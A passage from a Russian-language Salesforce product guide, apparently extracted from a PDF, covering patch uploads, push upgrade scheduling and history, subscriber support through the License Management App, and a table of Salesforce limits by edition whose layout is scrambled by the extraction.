• Чтобызагрузитьобновляемуюверсию, выберитезначение «Управляемый — выпущенный». Некоторыеатрибуты
компонентов Salesforce блокируются после загрузки.

• Чтобызагрузитьверсиюпакета, предназначеннуюдлятестированиянебольшойгруппойпользователей, выберите
значение «Управляемый — бета-версия». Данная версия пакета позволяет изменять компоненты и загружать
дополнительные бета-версии.

Прим.: Бета-пакеты могут быть установлены только в организациях Developer Edition или безопасных
организациях, поэтому не могут быть доставлены в клиентские организации.

7. При необходимости измените значение поля «Описание».

8. При необходимости введите и подтвердите пароль для доступа к пакету в частном порядке. Чтобы предоставить
общий доступ к пакету в каталоге AppExchange, пропустите данные поля.

9. Система Salesforce автоматически выбирает обнаруженные ею требования. Чтобы уведомить установщиков обо всех
требованиях к данномупакету, выберителюбыедругиеобязательныекомпонентывразделах «Требования к пакету»
и «Требования к объекту».

10. Нажмите кнопку «Загрузить».

Чтобы распространить исправление, предоставьте пользователям ссылку для загрузки или запланируйте активную
доставку обновления.

СМ. ТАКЖЕ:

Планирование активной доставки обновления

Просмотр журнала активной доставки обновления

Подготовка приложений к распространению

Управление версиями

Публикация обновлений к управляемым пакетам

Планирование активной доставки обновления

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для активной доставки
обновления:
• «Передача пакетов

AppExchange»

Прим.: Версии исправления и активная доставка обновлений доступны только
партнерам Salesforce, являющимся независимыми поставщиками ПО.

Созданная версияисправленияпакетаможетбыть автоматическиразвернута спомощью
активной доставки обновления.

Совет: КомпанияSalesforceнастоятельнорекомендуетвыполнятьактивнуюдоставку
обновлений пакета указанным ниже способом.

1. Прежде чем отправить обновление подписчикам, разверните нужное
обновление в собственной организации для тестирования и устранения
возможных ошибок.

2. Уведомите клиентов о процессе управления изменениями и выполните
активнуюдоставку готовогообновлениявнебольшоеколичествоорганизаций.
Сначала рекомендуем воспользоваться безопасными организациями.

3. При достижении ожидаемого результата выполните активную доставку
обновления в большее количество организаций.
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4. Объявитепредыдущуюверсиюпакетанерекомендуемойвосновнойорганизацииразработки. Принеобходимости
замените версию, доступную в каталоге AppExchange, и обновите пакет Trialforce.

5. Если исправление, являющееся обновлением, доставлено в организации подписчиков, выполните повторную
интеграцию внесенных изменений в основной организации разработки. Дополнительную информацию об
интеграции исправлений в основной организации разработки см. в разделе «Работа с версиями исправления»
Руководства ISVforce.

Дополнительнуюинформациюсм. вразделе «Рекомендациипоработесактивнойдоставкойобновленийиверсиями
исправлений» на странице 6023.

Чтобы запланировать активную доставку обновления, выполните указанные ниже действия.

1. Выполнитевходвосновнуюорганизациюразработки (вместоорганизацииисправления, использованнойдлязагрузки
новой версии).

2. Введите строку «Пакеты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пакеты».

3. Щелкните имя управляемого пакета, для которого следует активировать обновление.

4. Откройте вкладку «Версии» на странице сведений о пакете и нажмите кнопку «Активная доставка обновлений».

5. Нажмите кнопку «Запланировать активную доставку обновлений».

6. Выберите нужную версию пакета в раскрывающемся списке «Версия исправления».

Прим.: Активная доставка бета-версий запрещена.

7. Введите дату начала активной доставки обновления в поле «Запланированная дата начала».

8. Выберите целевые организации в разделе «Выбрать целевые организации». Организация, которая уже приняла
активную доставку обновления для выбранной версии пакета, не отображается в данном списке. Чтобы выбрать
нужные организации, выполните одно из указанных ниже действий.

• Введите критерий для фильтрации по имени или коду организации. Имена могут совпадать частично, тогда как
коды должны совпадать полностью.

• Выберите производственную или безопасную организацию в раскрывающемся списке «Организации».

• Выберите организации, в которых уже установлена отдельная версия.

• Выберите отдельные организации или установите флажки «Выбрать все» и «Отменить выбор».

Ниже перечислены сведения об организации, доступные в данном разделе.

ОписаниеПоле

Текущая версия пакета, установленная в организации.Текущая версия

Уникальный код организации в системе Salesforce.Код организации

Имя организации.При выборе данного имени
отображается журнал обновления для организации.

Имя организации

Имя контакта, установившего пакет.Основной контакт

9. Нажмите кнопку «Запланировать».

Чтобы остановить выполняемую активную доставку обновления, нажмите кнопку «Отменить».

6018

Планирование активной доставки обновленияСоздание и распространение пакетов приложений

https://developer.salesforce.com/page/Trialforce
https://resources.docs.salesforce.com/200/latest/en-us/sfdc/pdf/salesforce_packaging_guide.pdf


Таблица «Журнал активной доставки обновления» на предыдущей странице активной доставки обновлений содержит
список последних запланированных активных доставок обновлений для пакета.

Просмотр журнала активной доставки обновления

Рекомендации по работе с активной доставкой обновлений и версиями исправлений

СМ. ТАКЖЕ:

Просмотр сведений об активной доставке обновления

Подготовка приложений к распространению

Управление версиями

Публикация обновлений к управляемым пакетам

Просмотр журнала активной доставки обновления

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра журнала
активной доставки
обновления:
• «Передача пакетов

AppExchange»

Прим.: Версии исправления и активная доставка обновлений доступны только
партнерам Salesforce, являющимся независимыми поставщиками ПО.

Для просмотра сведений обо всех активных доставках обновления, отправленных
организацией, введите строку «Пакеты» вполе «Быстрый поиск» вменю «Настройка»
ивыберитепункт «Пакеты». Щелкнитеимяпакета, которыйнужнопросмотреть, а затем
кнопку «Активная доставка обновлений».

Страница «Журнал активной доставки обновления» содержит статусы для всех
отложенныхипредыдущихактивныхдоставок. Чтобыотфильтроватьжурналактивной
доставки обновления, выполните указанные ниже действия.

1. Выберитеномерверсииизраскрывающегося списка. Отсутствие выбраннойверсии
рассматривается системой как выбор всех версий.

2. Выберитекакминимумодинстатус в списке «Статус». Отсутствиевыбранногостатуса
рассматривается системой как выбор всех статусов.

3. Чтобы отфильтровать список, нажмите кнопку «Применить». Чтобы удалить все
фильтры, щелкните ссылку «Очистить».

Ниже перечислены сведения, доступные в журнале.

ОписаниеСтолбец

Чтобы остановить выполняемую активную доставку
обновления, нажмите кнопку «Отменить».

Действие

Запланированные дата и время начала активной доставки
обновления.

Дата начала

Статус активной доставки обновления (запланировано,
выполняется, выполнено, прервано или выполнено с
ошибками).

Статус

Имяорганизациидля активнойдоставкиобновления. При
наличии нескольких организаций данное поле содержит

Цель

только первую организацию в очереди, а также общее
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ОписаниеСтолбец

количество выбранных организаций. Чтобы просмотреть
дополнительную информацию об активной доставке
обновления и каждой отдельной организации, щелкните
данную ссылку.

Номер версии доставленного пакета.Версия

Просмотр сведений об активной доставке обновления

Просмотр журнала обновлений организации

СМ. ТАКЖЕ:

Просмотр сведений об активной доставке обновления

Подготовка приложений к распространению

Управление версиями

Публикация обновлений к управляемым пакетам

Просмотр сведений об активной доставке обновления

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сведений об
активной доставке
обновления:
• «Передача пакетов

AppExchange»

Прим.: Версии исправления и активная доставка обновлений доступны только
партнерам Salesforce, являющимся независимыми поставщиками ПО.

Для просмотра сведений об отдельном активном уведомлении, отправленном
организацией, введите строку enter «Пакеты» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Пакеты». Щелкните имя пакета, который нужно
просмотреть, а затем кнопку «Активная доставка обновлений». При выборе имени в
поле «Цель» пользователь переходит на страницу «Сведения об активной доставке
обновления», которая содержит информацию о задании и всех соответствующих
организациях.

Ниже перечислены общие сведения об активной доставке обновления, доступные в
разделе «Сведения о задании».

ОписаниеПоле

Дата и время завершения активной
доставки обновления.

Дата окончания

Указывает, были ли пропущены ошибки
тестирования Apex, которые могли стать

Пропустить ошибки тестирования Apex

причиной неправильной работы
установленного приложения.

Имя пользователя, инициировавшего
активную доставку обновления.

Запланировано

Запланированные дата и время начала
активной доставки обновления.

Дата начала
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ОписаниеПоле

Статус активной доставки обновления (запланировано,
выполняется, выполнено, прервано или выполнено с
ошибками).

Статус

Номер версии доставленного пакета.Версия

Раздел «Организации» содержит список всех организаций, принявших активную доставку обновления. Организации
могут быть отфильтрованы с помощью поля поиска, в котором следует указать критерий фильтрации, определяемый
именем или кодом организации. Имена могут совпадать частично, тогда как коды должны совпадать полностью.Кроме
того, раскрывающийся список позволяет фильтровать организации по статусу активной доставки обновления.

Ниже перечислены сведения, доступные для каждой организации.

ОписаниеПоле

Время, затраченное на активную доставку обновления.Продолжительность

Тип возникшей ошибки (при ее наличии). Пояснения к
ошибке активной доставки обновления могут быть

Тип ошибки

просмотрены в свертываемом разделе. Чтобы повторить
активную доставку обновления, нажмите кнопку
«Повторить».

Уникальный код организации в системе Salesforce.Код организации

Имяорганизации.Привыбореданногоимениотображается
журнал обновления для организации.

Имя организации

Запланированные дата и время начала активной доставки
обновления.

Начало

Статус активной доставки обновления (запланировано,
выполняется, выполнено, прервано или выполнено с
ошибками).

Статус

СМ. ТАКЖЕ:

Просмотр журнала активной доставки обновления

Планирование активной доставки обновления

Подготовка приложений к распространению

Управление версиями

Публикация обновлений к управляемым пакетам
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Просмотр журнала обновлений организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра журнала
активной доставки
обновления:
• «Передача пакетов

AppExchange»

Прим.: Версии исправления и активная доставка обновлений доступны только
партнерам Salesforce, являющимся независимыми поставщиками ПО.

Для просмотра сведений об отдельной организации-получателе активной доставки
обновления введите строку «Пакеты» в поле «Быстрый поиск» в меню «Настройка»
ивыберитепункт «Пакеты». Щелкнитеимяпакета, которыйнужнопросмотреть, а затем
ссылку «Цель». Нижеперечисленысведения, которыеотображаютсяпривыбореимени
организации в целевом списке.

ОписаниеПоле

Текущая версия пакета, установленная в
организации.

Текущая версия

Уникальный код организации в системе
Salesforce.

Код организации

Имя организации.Имя организации

Имя контакта, установившего пакет.Основной контакт

Адрес эл. почты издателя пакета.Адрес эл. почты основного контакта

Статус активной доставки обновления
(запланировано, выполняется, выполнено,
прервано или выполнено с ошибками).

Статус

Ниже перечислены сведения, доступные в журнале активной доставки обновления.

ОписаниеПоле

Чтобы просмотреть сведения о задании, нажмите кнопку
«Просмотр сведений».

Действие

Запланированные дата и время начала активной доставки
обновления.

Дата начала

Статус активной доставки обновления (запланировано,
выполняется, выполнено, прервано или выполнено с
ошибками).

Статус
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ОписаниеПоле

Номер версии доставленного пакета.Версия

СМ. ТАКЖЕ:

Просмотр сведений об активной доставке обновления

Просмотр журнала активной доставки обновления

Создание и загрузка исправлений

Планирование активной доставки обновления

Подготовка приложений к распространению

Управление версиями

Публикация обновлений к управляемым пакетам

Рекомендации по работе с активной доставкой обновлений и версиями исправлений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для активной доставки
обновления или создания
организации по разработке
исправления:
• «Передача пакетов

AppExchange»

Прим.: Версии исправления и активная доставка обновлений доступны только
партнерам Salesforce, являющимся независимыми поставщиками ПО.

Ниже перечислены рекомендации по планированию активной доставки.

• Чтобы минимизировать возможное влияние на подписчиков, рекомендуем
планировать активную доставку обновлений на непиковые часы работы клиентов,
а также вне расписания обслуживания основных выпусков системы Salesforce.

• Настоятельнонерекомендуемизменятьправилапроверки, поляформулыиошибки,
обнаруженные в триггерах Apex, по причине возможных негативных последствий
для интеграций подписчиков.

• Страницы Visualforce, обновляемые во время активной доставки обновления, могут
стать недоступными в результате изменения страницы или контроллера.

Ниже перечислены дополнительные рекомендации по созданию версии исправления.

• Исправление не должно содержать видимых изменений пакета. При активной
доставкеобновленийподписчикиуведомляютсятолькообизмененииномераверсии
пакета.

Публикация пакетов. Вопросы и ответы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Как оцениваются пакеты?

Какие типы компонентов можно публиковать?

СМ. ТАКЖЕ:

Установка пакетов. Вопросы и ответы
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Как оцениваются пакеты?
Подобнобольшинствувеб-сайтов, каталогAppExchange содержитотзывыирейтингиклиентов, позволяющиесообществу
пользователей Salesforce определять степень полезности пакета.

Какие типы компонентов можно публиковать?
Система позволяет публиковать любую совокупность компонентов (например, вкладки, отчеты и панели мониторинга),
предназначенную для решения конкретной бизнес-задачи. При необходимости данные компоненты могут быть
объединены в пакет. . Независимо от компонентов, добавляемых в пакет, данные никогда не добавляются.

Поддержка подписчиков приложения

Поддержка клиентов
Поддержкаконечныхпользователейосуществляетсясамимииздателямиприложений. Клиенты, обращающиесяв службу
поддержки Salesforce по вопросам использования приложений, перенаправляются на соответствующие вкладки «О
программе» и «Поддержка», содержащие сведения о поддержке. Убедитесь, что приложения, опубликованные в каталоге
AppExchange, содержат необходимые сведения о поддержке.

Еслиустановленоприложениедляуправлениялицензиями (LMA), тоадминистраторможетвыполнитьвходворганизацию
клиентасцельюоказаниянеобходимойподдержки. Даннаяфункциядоступнатолькодляуправляемыхпакетов, прошедших
проверку безопасности. Дополнительную информацию см. в разделе «Выполнение входа в организацию подписчика».

Организации подписчика

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для входа в организацию
подписчика:
• «Вход в организацию

подписчика»

Данная страница содержит список организаций, установивших пакет. Чтобы быстро
найти нужную организацию, введите имя подписчика или код организации в поле
поиска и нажмите кнопку «Поиск». Чтобы просмотреть подробные сведения об
организации подписчика, щелкните имя нужной организации.

Прим.: Данный список содержит только тех подписчиков, которые установили
как минимум один управляемый пакет, связанный с LMA.

Просмотр сведений о подписчике

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для входа в организацию
подписчика:
• «Вход в организацию

подписчика»

Страница «Общие сведения о подписчике», открывающаяся при выборе имени
организации на вкладке «Подписчики» в приложении для управления лицензиями,
содержит подробные сведения о каждой организации подписчика. Данные сведения
позволяютполучитьпредставлениеопримененияхприложенияимогутиспользоваться
для устранения неисправностей.

Раздел «Сведения об организации»:

• Имя и контактные данные извлекаются со страницы «Сведения о компании» в меню
«Настройка» в организации подписчика. Эти сведения могут отличаться от данных,
указанных в интересах, организациях или контактах LMA.

• Код организации — это уникальный код, определяющий организацию данного клиента в системе Salesforce.
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• Экземпляр определяет центр данных Salesforce, обслуживающийорганизациюданного клиента, и время обновления
текущего выпуска Salesforce. Чтобы определить версию системы Salesforce, используемую клиентом, посетите сайт
trust.salesforce.com.

Кроме того, страница содержит указанные ниже связанные списки.

Ограничения
Сведения о пространстве файлов, пространстве данных и количестве запросов API, связанных с данным клиентом (в
процентах).

Полномочия входа предоставлены
Список пользователей, предоставивших полномочия входа, и дата истечения срока их действия.

Пакеты и лицензирование
Список всех пакетов, установленных в данную организацию и связанных с данным приложением для управления
лицензиями. Для каждого пакета отображается версия приложения, используемая клиентом, общее количество
лицензий, предоставленное подписчику, и количество использованных лицензий. Данные сведения должны
соответствовать записи лицензии для подписчика в приложении для управления лицензиями.

Запрос полномочий входа
Доступ может быть предоставлен посредством параметра «Предоставить полномочия входа в организацию» или
«Предоставитьполномочиявхода»настраницеличныхпараметров. Нижеперечисленывозможныепричиныотсутствия
издателя на данной странице.

• Системный администратор отключил функцию предоставления доступа пользователям, не являющимся
администраторами.

• Пользователь не имеет лицензии на пакет.

• Пакет лицензирован для всей организации. Только администраторы, в профиле которых включено полномочие
«Управление пользователями», могут предоставлять доступ.

• В организации включен параметр «Администраторымогут выполнять вход от имени любого пользователя».

Прим.: Если параметр «Администраторымогут выполнять вход от имени любого пользователя» отключен,
то доступ действителен в течение выбранного периода и может быть отменен в любое время. Все изменения,
внесенные пользователем от имени подписчика, регистрируются в контрольном журнале.

Выполнение входа в организацию подписчика

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для входа в организацию
подписчика:
• «Вход в организацию

подписчика»

Доступно в версиях: Enterprise Edition, Performance Edition, Unlimited Edition и
Developer Edition.

Прим.: Данная функция доступна только организациям с полной лицензией
Salesforce.

Чтобы выполнить вход после предоставления доступа, выполните указанные ниже
действия.

1. Откройте вкладку «Подписчики» в приложении для управления лицензиями (LMA).

2. Чтобы быстро найти нужную организацию, введите имя подписчика или код организации в поле поиска и нажмите
кнопку «Поиск».
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3. Щелкните имя организации подписчика.

4. Щелкните«Вход»напротивименинужногопользователянастранице «Сведенияоборганизации». Обратитевнимание,
что предоставленные полномочия соответствуютполномочиямпользователя, под именем которого выполнен вход.

5. По завершении выберите пункт «Назад к общим сведениям о подписчике» в меню «Настройка». При этом
открывается собственная организация.

Прим.: Данный список содержит только тех подписчиков, которые установили как минимум один управляемый
пакет, связанный с LMA.

Рекомендации
• При переходе в организацию подписчика выполняется выход из организации по управлению лицензиями (LMO).

Чтобы отменить автоматический выход из LMO при входе в организацию подписчика, рекомендуем настроить
функцию «Мой домен». Чтобы настроить свой домен, в меню «Настройка» введите «Мой домен» в поле «Быстрый
поиск» и выберите «Мой домен».

• Рекомендуем предоставлять доступ к организации подписчика только проверенным специалистам отдела
информационных технологий и сотрудникам службы поддержки. Помните, что конфигурации и данные клиентов
доступны для чтения и записи, поэтому должны быть надежно защищены.

• Чтобыконтролироватьдоступпользователей, предоставьтеполномочие «Входворганизациюподписчика» конкретным
сотрудникам службы поддержки посредством профиля или набора полномочий.

Устранение неисправностей в организациях подписчика
Если вход в организацию подписчика выполнен в качестве пользователя, то разрешается создавать журналы отладки
Apex, содержащие выходные данные из управляемых пакетов. Сюда относится ведение журналов, которое обычно
недоступно подписчикам. Содержимое журнала позволяет быстро установить и устранить неисправности, типичные
для данной организации подписчика.

1. Запустите Консоль разработчика.

2. Выполните необходимые действия и просмотрите созданный журнал отладки. Чтобы настроить журнал отладки,
доступный пользователю, Введите строку «Журналы отладки» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Журналы отладки».

Обратите внимание, что настроенные или созданные журналы содержат открытый код Apex, поэтому будут недоступны
подписчикам. Кроме того, если вход выполнен в качестве пользователя, то управляемые пакеты могут использоваться
для просмотра и редактирования данных, доступных в защищенных настраиваемых параметрах.  

СМ. ТАКЖЕ:

Открытие консоли разработчика
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Ограничения Salesforce

Общие сведения об ограничениях Salesforce

«Ограничения Salesforce» — это справочное руководство, которое охватывает разные ограничения, связанные сфункциями
ипродуктамиSalesforce. Данноеруководствоохватываетневсеограничения, анекоторыеограничениямогутнеприменяться
к текущей организации.

Помните, что заявленные ограничения не могут гарантировать постоянную полную доступность соответствующего
ресурса. Например, некоторые ограничения зависят от загрузки, производительности и прочих характеристик системы.
Кроме того, ниже перечислены компоненты, ограничения которых отсутствуют в справочном руководстве «Ограничения
Salesforce».

• Элементы пользовательского интерфейса в приложении Salesforce

• Длина поля объектов Salesforce

• Клиенты интеграции компьютеров

Любое ограничение может быть изменено. Дополнительную информацию можно получить в компании Salesforce.

Ограничения, связанные с разработкой приложений с помощью Apex, SOAP, REST или других API-интерфейсов, см. в
разделе «Краткое справочное руководство по ограничениям для разработчиков Salesforce».

СМ. ТАКЖЕ:

Общие ограничения Salesforce

Ограничения по поддержке и администрированию

Ограничения для функций

Ограничения по сотрудничеству

Ограничения для сообществ

Общие ограничения Salesforce

Ограничения для функций и версий Salesforce

Ограничения для функций Salesforce по версиям.

Увеличение ограничений для приложений посредством Expansion Pack и Unlimited Apps Pack

Expansion Pack или Unlimited Apps Pack позволяет увеличивать заданные ограничения, связанные с приложениями.

Ограничения по доступности
Общие ограничения по доступности, а также ограничения по использованию клавиатуры и программ для чтения
экрана.

Ограничения отчетов и панелей мониторинга Salesforce по версиям
Различия между фильтрацией и редактированием отчетов, снимков, панелей мониторинга.
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Ограничения по поиску
Ограничения по поиску, применяемые к расширениямфайлов, размерам файлов, группам синонимов и
раскрывающимся спискам.

Ограничения для стандартных объектов
Ограничения для стандартных объектов позволяют просматривать сведения об использовании настроек объектов
(например, количество добавленных настраиваемых полей или примененных правил общего доступа).

Ограничения для функций и версий Salesforce
Ограничения для функций Salesforce по версиям.

Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

757575————Планы действий:
максимальное
количество задач

5 на объект5 на объект5 на объект5 на объект5 на объект5 на объект5 на объектАктивные фильтры
поиска

100 на
объект

500 на
объект

100 на
объект

20 на
объект

20 на
объект

20 на
объект

—Активные правила
проверки

25 Мб для
файловых

25 Мб для
файловых

25 Мб для
файловых

25 Мб для
файловых

25 Мб для
файловых

25 Мб для
файловых

—Вложения: максимальный
размер вложения в

вложений.вложений.вложений.вложений.вложений.вложений.связанном списке
2 Гб для2 Гб для2 Гб для2 Гб для2 Гб для2 Гб для«Примечания и

вложения»1 вложений
ленты.

вложений
ленты.

вложений
ленты.

вложений
ленты.

вложений
ленты.

вложений
ленты.

100 категорий
в группе

100 категорий
в группе

100 категорий
в группе

————Категории: максимальное
стандартное количество

категорийкатегорийкатегорийкатегорий и уровней
иерархии данных и

5 уровней в
данных и
5 уровней в

данных и
5 уровней в

иерархиииерархиииерархии
группгруппгрупп
категорий
данных

категорий
данных

категорий
данных

5 групп
категорийи

5 групп
категорийи

5 групп
категорийи

————Группы категорий:
максимальное

3 активные3 активные3 активныестандартное количество
групп категорий группы

категорий
группы
категорий

группы
категорий

505050————Сертификаты:
максимальное
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

количество
сертификатов

10 Гб10 Гб10 Гб10 Гб10 Гб10 Гб10 ГбДоставки содержимого:
стандартная пропускная
способность доставки за
истекшие сутки

20,00020,00020,00020,00020,00020,00020,000Доставки содержимого:
стандартное количество
просмотров доставки за
истекшие сутки

25 Мб25 Мб25 Мб25 Мб25 Мб25 Мб25 МбДоставки содержимого:
максимальный размер
файла для
интерактивного
просмотра

Для всех версий:Содержимое:
максимальный размер
файла • 2 Гб

• 2 Гб (включая заголовки) при загрузке посредством Chatter REST API

• 2 Гб (включая заголовки) при загрузке посредством REST API

• 38 Мб при загрузке посредством SOAP API

• 10 Мб для документов Google

• 10 Мб при загрузке посредством Visualforce

2,0002,0002,0002,0002,0002,0002,000Содержимое:
максимальное
количество библиотек

2,000,0002,000,0002,000,0002,000,0002,000,0002,000,0002,000,000Содержимое:
максимальное
количество документов
содержимого

2,50036,00036,00036,00036,00036,00036,000Содержимое:
максимальное
количестводокументови
версий содержимого в
течение суток
(настраиваемый)
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

505050505050—Пакеты содержимого:
максимальное
количество файлов

10Unlimited
Edition

10511—Настраиваемые
приложения

((Настраиваемые
приложения
управляемого пакета,
опубликованного в
каталоге AppExchange, не
учитываются
ограничениями,
установленными для
версии Salesforce.)

500 на
объект

800 на
объект

500 на
объект

100 на
объект

100 на
объект

25 на
объект

5 на объектНастраиваемые поля

(Дополнительные
ограничения
применяются к
действиям, полям типа
«Область подробного
текста», полям
взаимосвязи и полям
сводного
резюмирования.)

5,0005,0005,0005,000———Настраиваемые метки

1 024 символа1 024 символа1 024 символа1 024 символа1 024 символа1 024 символа1 024 символаНастраиваемые ссылки:
максимальная длина
метки ссылки

3 000 байтов23 000 байтов23 000 байтов23 000 байтов23 000 байтов23 000 байтов23 000 байтов2Настраиваемые ссылки:
максимальная длина
URL-адреса ссылки

4002,00020050505—Настраиваемые объекты

Настраиваемые объекты управляемого пакета, опубликованного в каталоге
AppExchange, не учитываются ограничениями, установленными для версии
Salesforce. В то же время организации не могут содержать 2 000 настраиваемых
объектов, независимо от их источника или пространства имен.
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

Обратимо удаленные настраиваемые объекты и их данные учитываются
ограничениями. Рекомендуем удалять ненужные настраиваемые объекты без
возможности восстановления.

232323232323—Настраиваемыеобъекты:
максимальное
количествовзаимосвязей
«Основная — подробная»

Родительскаязаписьвовзаимосвязи «Многиекомногим» неможетбытьудалена,
еслиона связана какминимумс 200 записямиобъектаобъединения, а самобъект

—Настраиваемыеобъекты:
удаление родительских

объединения содержит поле сводного резюмирования, которое сводится к
другой родительской записи.

записей во взаимосвязи
«Многие ко многим»

1,0001,0001,000————Настраиваемые
полномочия

1,5001,5001,500————Настраиваемые
профили: максимальное
количество
настраиваемых
профилей на тип
лицензии пользователя

Наименьшее
из двух

Наименьшее
из двух

Наименьшее
из двух

—Наименьшее
из двух

—Наименьшее
из двух

Настраиваемые
параметры: ограничение

значений:значений:значений:значений:значений:для кэшированных
данных 10 Мб или

1 Мб,
10 Мб или
1 Мб,

10 Мб или
1 Мб,

10 Мб или
1 Мб,

10 Мб или
1 Мб,

умноженныйумноженныйумноженныйумноженныйумноженный
нанананана
количествоколичествоколичествоколичествоколичество
полныхполныхполныхполныхполных
лицензийлицензийлицензийлицензийлицензий
пользователяпользователяпользователяпользователяпользователя
в
организации

в
организации

в
организации

в
организации

в
организации

300300300—100—5Настраиваемые
параметры: максимальное
количество полей на
настраиваемыйпараметр

—100100100———Подразделения:
максимальное
количество
подразделений
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

20 Кб20 Кб20 Кб20 Кб20 Кб20 Кб20 КбДокументы:
максимальный размер
логотипанастраиваемого
приложения

5 Мб5 Мб5 Мб5 Мб5 Мб5 Мб5 МбДокументы:
максимальный размер
загружаемого документа

255 символов255 символов255 символов255 символов255 символов255 символов255 символовДокументы:
максимальная длина
имени файла (включая
расширение)

Для организаций версий Enterprise
Edition, Unlimited Edition, Performance

————Процессы права и
контрольные точки

Edition и Developer Edition можно
создавать до 1 000 процессов права,
содержащих до десяти контрольных
точек на процесс.

В организации, созданной до выпуска
Summer ’13, максимальное число
процессов права может быть ниже,
однако у компании Salesforce можно
запросить увеличение их количества.

100100100————Внешние объекты4

202020202020—Отслеживание журнала
поля: максимальное
количество стандартных
или настраиваемых
полей, отслеживаемых
для стандартных или
настраиваемых объектов

2 Гб2 Гб2 Гб2 Гб2 Гб2 Гб2 ГбФайлы: максимальный
размер файла в Chatter и
на вкладке «Файлы»

250250250250250250250Финансовые года:
максимальное
количество
настраиваемых
финансовых лет
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

25252525252525Страницы Lightning:
максимальное
количествокомпонентов
на одну область

3 900 символов3 900 символов3 900 символов3 900 символов3 900 символов3 900 символов3 900 символовФормулы: максимальное
количество символов

1 300 символов1 300 символов1 300 символов1 300 символов1 300 символов1 300 символов1 300 символовФормулы: максимальное
количество
отображаемых символов
послеоценкивыражения
формулы

4 000
байтов

4 000
байтов

4 000
байтов

4 000
байтов

4 000
байтов

4 000
байтов

4 000
байтов

Формулы: максимальный
размер формулы при
сохранении (в байтах)

5 000
байтов

5 000
байтов

5 000
байтов

5 000
байтов

5 000
байтов

5 000
байтов

5 000
байтов

Формулы: максимальный
размер формулы при
компилировании (в
байтах)

10101010101010Формулы: количество
уникальныхвзаимосвязей
на объект

10 на
объект

10 на
объект

10 на
объект

10 на
объект

10 на
объект

10 на
объект

10 на
объект

Формулы: функции
VLOOKUP

32 Кб32 Кб32 Кб32 Кб———Идеи: максимальный
размер описания
HTML-идеи

4 Кб4 Кб4 Кб4 Кб———Идеи: максимальный
размер комментария к
HTML-идее

10,000510,000510,000510,000510,000510,000510,0005Взаимосвязь
«Основная — подробная»:
максимальное
количество дочерних
записей

100,000100,000100,000100,000100,000100,000100,000Объекты: максимальное
количество удаленных
комбинированных
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

объектов и дочерних
записей

1,0001,0001,0001,000———Мультиканал: Максимум
рабочих элементов в
очереди в час6

2,0002,0002,0002,000———Мультиканал: Максимум
отложенных запросовна
перенаправление7

303030————Возможности:
максимальное
количество участников
группы, работающей с
возможностями

1,0001,0001,000111—Наборы полномочий:
максимальное
количество созданных
наборов полномочий

1,5001,5001,5001,5001,500——Наборы полномочий:
максимальное
количество наборов
полномочий (включая
созданные и
добавленные в рамках
установленного
управляемого пакета
AppExchange)

—1,0001,000————Вопрос: максимальное
количество символов

—32,00032,000————Вопрос: максимальное
количество символов
(если включен параметр
«Оптимизировать поток
вопросов» для
компонента Chatter
Answers)

5 Мб5 Мб5 Мб5 Мб———PDF-смета: максимальный
размер логотипа

150 пикселов150 пикселов150 пикселов150 пикселов———PDF-смета: максимальная
высота логотипа
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

Объем
хранилища

Объем
хранилища

Объем
хранилища

Объем
хранилища

Объем
хранилища

Объем
хранилища

Объем
хранилища

Корзина: максимальное
количество записей

(Мб),(Мб),(Мб),(Мб),(Мб),(Мб),(Мб),
умноженный
на 25

умноженный
на 25

умноженный
на 25

умноженный
на 25

умноженный
на 25

умноженный
на 25

умноженный
на 25

—1,0001,000————Ответ: максимальное
количество символов

—4,0004,000————Ответ (личный):
максимальное
количество символов
(если включен параметр
«Оптимизировать поток
вопросов» для
компонента Chatter
Answers)

—32,00032,000————Ответы (общедоступные):
максимальное
количество символов
(если включен параметр
«Оптимизировать поток
вопросов» для
компонента Chatter
Answers)

Для всех версий: Если организация использует функцию «Общедоступные действия», то
индивидуальные и неповторяющиеся задачи или неповторяющиеся события могут быть

Общедоступные
действия

связаны с 50 контактами. Один из контактов назначается основным, а все остальные
дополнительными.

В версиях Professional Edition, Enterprise Edition,
